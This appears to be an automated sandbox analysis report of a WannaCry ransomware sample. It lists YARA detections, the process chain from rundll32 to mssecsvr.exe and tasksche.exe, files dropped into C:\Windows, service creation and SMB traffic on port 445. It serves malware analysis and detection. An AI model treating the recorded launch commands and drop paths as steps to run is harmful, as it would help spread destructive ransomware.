Source: 6.2.mssecsvr.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: WannaCry_Ransomware_Gen date = 2017-05-12, hash3 = 4384bf4530fb2e35449a8e01c7e0ad94e3a25811ba94f7847c1e6612bbb45359, hash2 = 8e5b5841a3fe81cade259ce2a678ccb4451725bba71f6662d0cc1f08148da8df, hash1 = 9fe91d542952e145f2244572f314632d93eb1e8657621087b2ca7f7df2b0cb05, author = Florian Roth (based on rule by US CERT), description = Detects WannaCry Ransomware, reference = https://www.us-cert.gov/ncas/alerts/TA17-132A
Source: 4.0.mssecsvr.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: WannaCry_Ransomware date = 2017-05-12, hash1 = ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa, author = Florian Roth (with the help of binar.ly), description = Detects WannaCry Ransomware, reference = https://goo.gl/HG2j5T
Source: 4.0.mssecsvr.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: WannaCry_Ransomware_Gen date = 2017-05-12, hash3 = 4384bf4530fb2e35449a8e01c7e0ad94e3a25811ba94f7847c1e6612bbb45359, hash2 = 8e5b5841a3fe81cade259ce2a678ccb4451725bba71f6662d0cc1f08148da8df, hash1 = 9fe91d542952e145f2244572f314632d93eb1e8657621087b2ca7f7df2b0cb05, author = Florian Roth (based on rule by US CERT), description = Detects WannaCry Ransomware, reference = https://www.us-cert.gov/ncas/alerts/TA17-132A
Source: 4.2.mssecsvr.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: WannaCry_Ransomware date = 2017-05-12, hash1 = ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa, author = Florian Roth (with the help of binar.ly), description = Detects WannaCry Ransomware, reference = https://goo.gl/HG2j5T
Source: 4.2.mssecsvr.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: WannaCry_Ransomware_Gen date = 2017-05-12, hash3 = 4384bf4530fb2e35449a8e01c7e0ad94e3a25811ba94f7847c1e6612bbb45359, hash2 = 8e5b5841a3fe81cade259ce2a678ccb4451725bba71f6662d0cc1f08148da8df, hash1 = 9fe91d542952e145f2244572f314632d93eb1e8657621087b2ca7f7df2b0cb05, author = Florian Roth (based on rule by US CERT), description = Detects WannaCry Ransomware, reference = https://www.us-cert.gov/ncas/alerts/TA17-132A
Source: 6.0.mssecsvr.exe.400000.6.unpack, type: UNPACKEDPE	Matched rule: WannaCry_Ransomware date = 2017-05-12, hash1 = ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa, author = Florian Roth (with the help of binar.ly), description = Detects WannaCry Ransomware, reference = https://goo.gl/HG2j5T
Source: 6.0.mssecsvr.exe.400000.6.unpack, type: UNPACKEDPE	Matched rule: WannaCry_Ransomware_Gen date = 2017-05-12, hash3 = 4384bf4530fb2e35449a8e01c7e0ad94e3a25811ba94f7847c1e6612bbb45359, hash2 = 8e5b5841a3fe81cade259ce2a678ccb4451725bba71f6662d0cc1f08148da8df, hash1 = 9fe91d542952e145f2244572f314632d93eb1e8657621087b2ca7f7df2b0cb05, author = Florian Roth (based on rule by US CERT), description = Detects WannaCry Ransomware, reference = https://www.us-cert.gov/ncas/alerts/TA17-132A
Source: 4.0.mssecsvr.exe.400000.2.unpack, type: UNPACKEDPE	Matched rule: WannaCry_Ransomware date = 2017-05-12, hash1 = ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa, author = Florian Roth (with the help of binar.ly), description = Detects WannaCry Ransomware, reference = https://goo.gl/HG2j5T
Source: 4.0.mssecsvr.exe.400000.2.unpack, type: UNPACKEDPE	Matched rule: WannaCry_Ransomware_Gen date = 2017-05-12, hash3 = 4384bf4530fb2e35449a8e01c7e0ad94e3a25811ba94f7847c1e6612bbb45359, hash2 = 8e5b5841a3fe81cade259ce2a678ccb4451725bba71f6662d0cc1f08148da8df, hash1 = 9fe91d542952e145f2244572f314632d93eb1e8657621087b2ca7f7df2b0cb05, author = Florian Roth (based on rule by US CERT), description = Detects WannaCry Ransomware, reference = https://www.us-cert.gov/ncas/alerts/TA17-132A
Source: 4.0.mssecsvr.exe.400000.4.unpack, type: UNPACKEDPE	Matched rule: WannaCry_Ransomware date = 2017-05-12, hash1 = ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa, author = Florian Roth (with the help of binar.ly), description = Detects WannaCry Ransomware, reference = https://goo.gl/HG2j5T
Source: 4.0.mssecsvr.exe.400000.4.unpack, type: UNPACKEDPE	Matched rule: WannaCry_Ransomware_Gen date = 2017-05-12, hash3 = 4384bf4530fb2e35449a8e01c7e0ad94e3a25811ba94f7847c1e6612bbb45359, hash2 = 8e5b5841a3fe81cade259ce2a678ccb4451725bba71f6662d0cc1f08148da8df, hash1 = 9fe91d542952e145f2244572f314632d93eb1e8657621087b2ca7f7df2b0cb05, author = Florian Roth (based on rule by US CERT), description = Detects WannaCry Ransomware, reference = https://www.us-cert.gov/ncas/alerts/TA17-132A
Source: 7.2.mssecsvr.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: WannaCry_Ransomware date = 2017-05-12, hash1 = ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa, author = Florian Roth (with the help of binar.ly), description = Detects WannaCry Ransomware, reference = https://goo.gl/HG2j5T
Source: 7.2.mssecsvr.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: WannaCry_Ransomware_Gen date = 2017-05-12, hash3 = 4384bf4530fb2e35449a8e01c7e0ad94e3a25811ba94f7847c1e6612bbb45359, hash2 = 8e5b5841a3fe81cade259ce2a678ccb4451725bba71f6662d0cc1f08148da8df, hash1 = 9fe91d542952e145f2244572f314632d93eb1e8657621087b2ca7f7df2b0cb05, author = Florian Roth (based on rule by US CERT), description = Detects WannaCry Ransomware, reference = https://www.us-cert.gov/ncas/alerts/TA17-132A
Source: 4.0.mssecsvr.exe.400000.6.unpack, type: UNPACKEDPE	Matched rule: WannaCry_Ransomware date = 2017-05-12, hash1 = ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa, author = Florian Roth (with the help of binar.ly), description = Detects WannaCry Ransomware, reference = https://goo.gl/HG2j5T
Source: 4.0.mssecsvr.exe.400000.6.unpack, type: UNPACKEDPE	Matched rule: WannaCry_Ransomware_Gen date = 2017-05-12, hash3 = 4384bf4530fb2e35449a8e01c7e0ad94e3a25811ba94f7847c1e6612bbb45359, hash2 = 8e5b5841a3fe81cade259ce2a678ccb4451725bba71f6662d0cc1f08148da8df, hash1 = 9fe91d542952e145f2244572f314632d93eb1e8657621087b2ca7f7df2b0cb05, author = Florian Roth (based on rule by US CERT), description = Detects WannaCry Ransomware, reference = https://www.us-cert.gov/ncas/alerts/TA17-132A
Source: 6.0.mssecsvr.exe.400000.2.unpack, type: UNPACKEDPE	Matched rule: WannaCry_Ransomware date = 2017-05-12, hash1 = ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa, author = Florian Roth (with the help of binar.ly), description = Detects WannaCry Ransomware, reference = https://goo.gl/HG2j5T
Source: 6.0.mssecsvr.exe.400000.2.unpack, type: UNPACKEDPE	Matched rule: WannaCry_Ransomware_Gen date = 2017-05-12, hash3 = 4384bf4530fb2e35449a8e01c7e0ad94e3a25811ba94f7847c1e6612bbb45359, hash2 = 8e5b5841a3fe81cade259ce2a678ccb4451725bba71f6662d0cc1f08148da8df, hash1 = 9fe91d542952e145f2244572f314632d93eb1e8657621087b2ca7f7df2b0cb05, author = Florian Roth (based on rule by US CERT), description = Detects WannaCry Ransomware, reference = https://www.us-cert.gov/ncas/alerts/TA17-132A
Source: C:\Windows\mssecsvr.exe, type: DROPPED	Matched rule: WannaCry_Ransomware date = 2017-05-12, hash1 = ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa, author = Florian Roth (with the help of binar.ly), description = Detects WannaCry Ransomware, reference = https://goo.gl/HG2j5T
Source: C:\Windows\mssecsvr.exe, type: DROPPED	Matched rule: WannaCry_Ransomware_Gen date = 2017-05-12, hash3 = 4384bf4530fb2e35449a8e01c7e0ad94e3a25811ba94f7847c1e6612bbb45359, hash2 = 8e5b5841a3fe81cade259ce2a678ccb4451725bba71f6662d0cc1f08148da8df, hash1 = 9fe91d542952e145f2244572f314632d93eb1e8657621087b2ca7f7df2b0cb05, author = Florian Roth (based on rule by US CERT), description = Detects WannaCry Ransomware, reference = https://www.us-cert.gov/ncas/alerts/TA17-132A

Source: C:\Windows\tasksche.exe

File deleted: C:\Windows\__tmp_rar_sfx_access_check_5281937

Jump to behavior

Source: C:\Windows\SysWOW64\rundll32.exe

File created: C:\WINDOWS\mssecsvr.exe

Jump to behavior

Source: C:\Windows\tasksche.exe	Code function: 9_2_00402F2C	9_2_00402F2C
Source: C:\Windows\tasksche.exe	Code function: 9_2_0041B0D9	9_2_0041B0D9
Source: C:\Windows\tasksche.exe	Code function: 9_2_0041B8B9	9_2_0041B8B9
Source: C:\Windows\tasksche.exe	Code function: 9_2_00414946	9_2_00414946
Source: C:\Windows\tasksche.exe	Code function: 9_2_00410178	9_2_00410178
Source: C:\Windows\tasksche.exe	Code function: 9_2_00404986	9_2_00404986
Source: C:\Windows\tasksche.exe	Code function: 9_2_00429241	9_2_00429241
Source: C:\Windows\tasksche.exe	Code function: 9_2_0042727C	9_2_0042727C
Source: C:\Windows\tasksche.exe	Code function: 9_2_0040CB23	9_2_0040CB23
Source: C:\Windows\tasksche.exe	Code function: 9_2_004283FC	9_2_004283FC
Source: C:\Windows\tasksche.exe	Code function: 9_2_0041AC04	9_2_0041AC04
Source: C:\Windows\tasksche.exe	Code function: 9_2_00416C3F	9_2_00416C3F
Source: C:\Windows\tasksche.exe	Code function: 9_2_00401CC1	9_2_00401CC1
Source: C:\Windows\tasksche.exe	Code function: 9_2_0041F4D4	9_2_0041F4D4
Source: C:\Windows\tasksche.exe	Code function: 9_2_0041BCD9	9_2_0041BCD9
Source: C:\Windows\tasksche.exe	Code function: 9_2_0040C4FF	9_2_0040C4FF
Source: C:\Windows\tasksche.exe	Code function: 9_2_0041B4AD	9_2_0041B4AD
Source: C:\Windows\tasksche.exe	Code function: 9_2_00417D78	9_2_00417D78
Source: C:\Windows\tasksche.exe	Code function: 9_2_00427D04	9_2_00427D04
Source: C:\Windows\tasksche.exe	Code function: 9_2_0041450F	9_2_0041450F
Source: C:\Windows\tasksche.exe	Code function: 9_2_00415D9A	9_2_00415D9A
Source: C:\Windows\tasksche.exe	Code function: 9_2_00405610	9_2_00405610
Source: C:\Windows\tasksche.exe	Code function: 9_2_0041462B	9_2_0041462B
Source: C:\Windows\tasksche.exe	Code function: 9_2_00413EE3	9_2_00413EE3
Source: C:\Windows\tasksche.exe	Code function: 9_2_004106F4	9_2_004106F4
Source: C:\Windows\tasksche.exe	Code function: 9_2_0040C756	9_2_0040C756
Source: C:\Windows\tasksche.exe	Code function: 9_2_004277C0	9_2_004277C0

Source: C:\Windows\tasksche.exe	Code function: String function: 0041AAF0 appears 48 times
Source: C:\Windows\tasksche.exe	Code function: String function: 0041A4DC appears 37 times
Source: C:\Windows\tasksche.exe	Code function: String function: 0041FA9C appears 38 times

Source: C:\Windows\tasksche.exe

Code function: 9_2_0040690A: __EH_prolog,_wcslen,_wcscpy,_wcslen,CreateFileW,CloseHandle,CreateDirectoryW,_wcscpy,_wcscpy,_wcscpy,_wcscpy,CreateFileW,DeviceIoControl,CloseHandle,GetLastError,RemoveDirectoryW,DeleteFileW,

9_2_0040690A

Source: mssecsvr.exe.2.dr	Static PE information: Resource name: R type: PE32 executable (GUI) Intel 80386, for MS Windows, RAR self-extracting archive
Source: mssecsvr.exe.2.dr	Static PE information: Resource name: R type: PE32 executable (GUI) Intel 80386, for MS Windows, RAR self-extracting archive

Source: eee.exe.9.dr

Static PE information: No import functions for PE file found

Source: tasksche.exe.6.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: tasksche.exe.6.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST

Source: Joe Sandbox View

Dropped File: C:\Windows\eee.exe 92B0BECA439DB25D7098379CEE580FA69F6F5E7271708BDEC03AB8FF526426D8

Source: goN6vVlV2F.dll	Virustotal: Detection: 86%
Source: goN6vVlV2F.dll	Metadefender: Detection: 77%
Source: goN6vVlV2F.dll	ReversingLabs: Detection: 90%

Source: goN6vVlV2F.dll

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Windows\System32\loaddll32.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Windows\System32\loaddll32.exe loaddll32.exe "C:\Users\user\Desktop\goN6vVlV2F.dll"
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /C rundll32.exe "C:\Users\user\Desktop\goN6vVlV2F.dll",#1
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe C:\Users\user\Desktop\goN6vVlV2F.dll,PlayGame
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe "C:\Users\user\Desktop\goN6vVlV2F.dll",#1
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\mssecsvr.exe C:\WINDOWS\mssecsvr.exe
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe "C:\Users\user\Desktop\goN6vVlV2F.dll",PlayGame
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\mssecsvr.exe C:\WINDOWS\mssecsvr.exe
Source: unknown	Process created: C:\Windows\mssecsvr.exe C:\WINDOWS\mssecsvr.exe -m security
Source: C:\Windows\mssecsvr.exe	Process created: C:\Windows\tasksche.exe C:\WINDOWS\tasksche.exe /i
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p
Source: unknown	Process created: C:\Windows\System32\svchost.exe c:\windows\system32\svchost.exe -k netsvcs -p -s BITS
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /C rundll32.exe "C:\Users\user\Desktop\goN6vVlV2F.dll",#1	Jump to behavior
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe C:\Users\user\Desktop\goN6vVlV2F.dll,PlayGame	Jump to behavior
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe "C:\Users\user\Desktop\goN6vVlV2F.dll",PlayGame	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe "C:\Users\user\Desktop\goN6vVlV2F.dll",#1	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\mssecsvr.exe C:\WINDOWS\mssecsvr.exe	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\mssecsvr.exe C:\WINDOWS\mssecsvr.exe	Jump to behavior
Source: C:\Windows\mssecsvr.exe	Process created: C:\Windows\tasksche.exe C:\WINDOWS\tasksche.exe /i	Jump to behavior

Source: C:\Windows\mssecsvr.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{057EEE47-2572-4AA1-88D7-60CE2149E33C}\InProcServer32

Jump to behavior

Source: C:\Windows\tasksche.exe

Code function: 9_2_00406553 GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,GetLastError,CloseHandle,

9_2_00406553

Source: classification engine

Classification label: mal100.rans.troj.expl.evad.winDLL@24/5@5/100

Source: C:\Windows\tasksche.exe

Code function: 9_2_00419BB0 CoCreateInstance,

9_2_00419BB0

Source: C:\Windows\mssecsvr.exe	Code function: sprintf,OpenSCManagerA,InternetCloseHandle,CreateServiceA,CloseServiceHandle,StartServiceA,CloseServiceHandle,CloseServiceHandle,		4_2_00407C40
Source: C:\Windows\mssecsvr.exe	Code function: sprintf,OpenSCManagerA,InternetCloseHandle,CreateServiceA,CloseServiceHandle,StartServiceA,CloseServiceHandle,CloseServiceHandle,		7_2_00407C40

Source: C:\Windows\tasksche.exe

File read: C:\Windows\win.ini

Jump to behavior

Source: C:\Windows\mssecsvr.exe	Code function: 4_2_00408090 GetModuleFileNameA,__p___argc,OpenSCManagerA,InternetCloseHandle,OpenServiceA,CloseServiceHandle,CloseServiceHandle,CloseServiceHandle,StartServiceCtrlDispatcherA,		4_2_00408090
Source: C:\Windows\mssecsvr.exe	Code function: 7_2_00408090 GetModuleFileNameA,__p___argc,OpenSCManagerA,InternetCloseHandle,OpenServiceA,CloseServiceHandle,CloseServiceHandle,CloseServiceHandle,StartServiceCtrlDispatcherA,		7_2_00408090

Source: C:\Windows\mssecsvr.exe

Code function: 4_2_00407C40 sprintf,OpenSCManagerA,InternetCloseHandle,CreateServiceA,CloseServiceHandle,StartServiceA,CloseServiceHandle,CloseServiceHandle,

4_2_00407C40

Source: C:\Windows\System32\loaddll32.exe

Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe C:\Users\user\Desktop\goN6vVlV2F.dll,PlayGame

Source: C:\Windows\mssecsvr.exe

Code function: 4_2_00407CE0 InternetCloseHandle,GetModuleHandleW,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,CreateProcessA,FindResourceA,LoadResource,LockResource,SizeofResource,sprintf,sprintf,sprintf,MoveFileExA,CreateFileA,WriteFile,CloseHandle,CreateProcessA,CloseHandle,CloseHandle,

4_2_00407CE0

Source: C:\Windows\tasksche.exe	Command line argument: sfxname	9_2_0040FEF0
Source: C:\Windows\tasksche.exe	Command line argument: sfxstime	9_2_0040FEF0
Source: C:\Windows\tasksche.exe	Command line argument: STARTDLG	9_2_0040FEF0
Source: C:\Windows\tasksche.exe	Command line argument: @CB	9_2_00424290

Source: C:\Windows\mssecsvr.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\mssecsvr.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\mssecsvr.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\mssecsvr.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\mssecsvr.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\mssecsvr.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\System32\svchost.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\System32\svchost.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\System32\svchost.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\System32\svchost.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior

Source: C:\Windows\tasksche.exe	Automated click: OK
Source: C:\Windows\tasksche.exe	Automated click: OK
Source: C:\Windows\tasksche.exe	Automated click: OK
Source: C:\Windows\tasksche.exe	Automated click: OK
Source: C:\Windows\tasksche.exe	Automated click: OK
Source: C:\Windows\tasksche.exe	Automated click: OK
Source: C:\Windows\tasksche.exe	Automated click: OK
Source: C:\Windows\tasksche.exe	Automated click: OK
Source: C:\Windows\tasksche.exe	Automated click: OK
Source: C:\Windows\tasksche.exe	Automated click: OK
Source: C:\Windows\tasksche.exe	Automated click: OK
Source: C:\Windows\tasksche.exe	Automated click: OK
Source: C:\Windows\tasksche.exe	Automated click: OK
Source: C:\Windows\tasksche.exe	Automated click: OK
Source: C:\Windows\tasksche.exe	Automated click: OK
Source: C:\Windows\tasksche.exe	Automated click: OK
Source: C:\Windows\tasksche.exe	Automated click: OK
Source: C:\Windows\tasksche.exe	Automated click: OK
Source: C:\Windows\tasksche.exe	Automated click: OK

Source: C:\Windows\tasksche.exe

File opened: C:\Windows\SysWOW64\riched32.dll

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: goN6vVlV2F.dll

Static file information: File size 5267459 > 1048576

Source: goN6vVlV2F.dll

Static PE information: Raw size of .rsrc is bigger than: 0x100000 < 0x501000

Source:

Source: C:\Windows\tasksche.exe	Code function: 9_2_0041FAE1 push ecx; ret		9_2_0041FAF4
Source: C:\Windows\tasksche.exe	Code function: 9_2_0041A4DC push eax; ret		9_2_0041A4FA

Source: C:\Windows\tasksche.exe

Code function: 9_2_0040CEB6 LoadLibraryW,GetProcAddress,GetProcAddress,GetProcAddress,

9_2_0040CEB6

Source: C:\Windows\tasksche.exe

File created: C:\Windows\__tmp_rar_sfx_access_check_5281937

Jump to behavior

Persistence and Installation Behavior

Drops executables to the windows directory (C:\Windows) and starts them

Source: C:\Windows\mssecsvr.exe	Executable created and started: C:\WINDOWS\tasksche.exe			Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Executable created and started: C:\WINDOWS\mssecsvr.exe			Jump to behavior

Source: C:\Windows\tasksche.exe	File created: C:\Windows\eee.exe	Jump to dropped file
Source: C:\Windows\mssecsvr.exe	File created: C:\Windows\tasksche.exe	Jump to dropped file
Source: C:\Windows\SysWOW64\rundll32.exe	File created: C:\Windows\mssecsvr.exe	Jump to dropped file

Source: C:\Windows\tasksche.exe	File created: C:\Windows\eee.exe	Jump to dropped file
Source: C:\Windows\mssecsvr.exe	File created: C:\Windows\tasksche.exe	Jump to dropped file
Source: C:\Windows\SysWOW64\rundll32.exe	File created: C:\Windows\mssecsvr.exe	Jump to dropped file

Source: C:\Windows\mssecsvr.exe

Code function: 4_2_00407C40 sprintf,OpenSCManagerA,InternetCloseHandle,CreateServiceA,CloseServiceHandle,StartServiceA,CloseServiceHandle,CloseServiceHandle,

4_2_00407C40

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 445 -> 53758
Source: unknown	Network traffic detected: HTTP traffic on port 445 -> 53924
Source: unknown	Network traffic detected: HTTP traffic on port 445 -> 53927
Source: unknown	Network traffic detected: HTTP traffic on port 445 -> 54129
Source: unknown	Network traffic detected: HTTP traffic on port 445 -> 54132
Source: unknown	Network traffic detected: HTTP traffic on port 445 -> 54300
Source: unknown	Network traffic detected: HTTP traffic on port 445 -> 54344
Source: unknown	Network traffic detected: HTTP traffic on port 445 -> 54417
Source: unknown	Network traffic detected: HTTP traffic on port 445 -> 54491
Source: unknown	Network traffic detected: HTTP traffic on port 445 -> 54644
Source: unknown	Network traffic detected: HTTP traffic on port 445 -> 54668
Source: unknown	Network traffic detected: HTTP traffic on port 445 -> 54880
Source: unknown	Network traffic detected: HTTP traffic on port 445 -> 54883
Source: unknown	Network traffic detected: HTTP traffic on port 445 -> 55120
Source: unknown	Network traffic detected: HTTP traffic on port 445 -> 55124
Source: unknown	Network traffic detected: HTTP traffic on port 445 -> 55358
Source: unknown	Network traffic detected: HTTP traffic on port 445 -> 55363
Source: unknown	Network traffic detected: HTTP traffic on port 445 -> 55554
Source: unknown	Network traffic detected: HTTP traffic on port 445 -> 55607
Source: unknown	Network traffic detected: HTTP traffic on port 445 -> 55722
Source: unknown	Network traffic detected: HTTP traffic on port 445 -> 55770
Source: unknown	Network traffic detected: HTTP traffic on port 445 -> 55939
Source: unknown	Network traffic detected: HTTP traffic on port 445 -> 55950
Source: unknown	Network traffic detected: HTTP traffic on port 445 -> 56187
Source: unknown	Network traffic detected: HTTP traffic on port 445 -> 56192
Source: unknown	Network traffic detected: HTTP traffic on port 445 -> 56445
Source: unknown	Network traffic detected: HTTP traffic on port 445 -> 56448
Source: unknown	Network traffic detected: HTTP traffic on port 445 -> 56704
Source: unknown	Network traffic detected: HTTP traffic on port 445 -> 56707
Source: unknown	Network traffic detected: HTTP traffic on port 445 -> 56932
Source: unknown	Network traffic detected: HTTP traffic on port 445 -> 56970
Source: unknown	Network traffic detected: HTTP traffic on port 445 -> 57066
Source: unknown	Network traffic detected: HTTP traffic on port 445 -> 57159
Source: unknown	Network traffic detected: HTTP traffic on port 445 -> 57343
Source: unknown	Network traffic detected: HTTP traffic on port 445 -> 57348
Source: unknown	Network traffic detected: HTTP traffic on port 445 -> 57622
Source: unknown	Network traffic detected: HTTP traffic on port 445 -> 57625
Source: unknown	Network traffic detected: HTTP traffic on port 445 -> 57905
Source: unknown	Network traffic detected: HTTP traffic on port 445 -> 57908
Source: unknown	Network traffic detected: HTTP traffic on port 445 -> 58116
Source: unknown	Network traffic detected: HTTP traffic on port 445 -> 58195
Source: unknown	Network traffic detected: HTTP traffic on port 445 -> 58412
Source: unknown	Network traffic detected: HTTP traffic on port 445 -> 58436
Source: unknown	Network traffic detected: HTTP traffic on port 445 -> 58646
Source: unknown	Network traffic detected: HTTP traffic on port 445 -> 58650
Source: unknown	Network traffic detected: HTTP traffic on port 445 -> 58850
Source: unknown	Network traffic detected: HTTP traffic on port 445 -> 58854
Source: unknown	Network traffic detected: HTTP traffic on port 445 -> 59157
Source: unknown	Network traffic detected: HTTP traffic on port 445 -> 59159
Source: unknown	Network traffic detected: HTTP traffic on port 445 -> 59464
Source: unknown	Network traffic detected: HTTP traffic on port 445 -> 59470
Source: unknown	Network traffic detected: HTTP traffic on port 445 -> 59778
Source: unknown	Network traffic detected: HTTP traffic on port 445 -> 59782
Source: unknown	Network traffic detected: HTTP traffic on port 445 -> 60028
Source: unknown	Network traffic detected: HTTP traffic on port 445 -> 60149
Source: unknown	Network traffic detected: HTTP traffic on port 445 -> 60266
Source: unknown	Network traffic detected: HTTP traffic on port 445 -> 60315
Source: unknown	Network traffic detected: HTTP traffic on port 445 -> 60596
Source: unknown	Network traffic detected: HTTP traffic on port 445 -> 60604
Source: unknown	Network traffic detected: HTTP traffic on port 445 -> 60931
Source: unknown	Network traffic detected: HTTP traffic on port 445 -> 60935
Source: unknown	Network traffic detected: HTTP traffic on port 445 -> 61272
Source: unknown	Network traffic detected: HTTP traffic on port 445 -> 61276
Source: unknown	Network traffic detected: HTTP traffic on port 445 -> 61585
Source: unknown	Network traffic detected: HTTP traffic on port 445 -> 61621
Source: unknown	Network traffic detected: HTTP traffic on port 445 -> 61861
Source: unknown	Network traffic detected: HTTP traffic on port 445 -> 61942
Source: unknown	Network traffic detected: HTTP traffic on port 445 -> 62216
Source: unknown	Network traffic detected: HTTP traffic on port 445 -> 62218
Source: unknown	Network traffic detected: HTTP traffic on port 445 -> 62576
Source: unknown	Network traffic detected: HTTP traffic on port 445 -> 62578
Source: unknown	Network traffic detected: HTTP traffic on port 445 -> 62941
Source: unknown	Network traffic detected: HTTP traffic on port 445 -> 62944
Source: unknown	Network traffic detected: HTTP traffic on port 445 -> 63195
Source: unknown	Network traffic detected: HTTP traffic on port 445 -> 63312
Source: unknown	Network traffic detected: HTTP traffic on port 445 -> 63569
Source: unknown	Network traffic detected: HTTP traffic on port 445 -> 63571
Source: unknown	Network traffic detected: HTTP traffic on port 445 -> 63947
Source: unknown	Network traffic detected: HTTP traffic on port 445 -> 63949
Source: unknown	Network traffic detected: HTTP traffic on port 445 -> 64332
Source: unknown	Network traffic detected: HTTP traffic on port 445 -> 64334
Source: unknown	Network traffic detected: HTTP traffic on port 445 -> 64715
Source: unknown	Network traffic detected: HTTP traffic on port 445 -> 64717

Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\mssecsvr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\mssecsvr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\mssecsvr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\mssecsvr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\tasksche.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\tasksche.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\tasksche.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\tasksche.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\tasksche.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\tasksche.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\tasksche.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\tasksche.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\tasksche.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

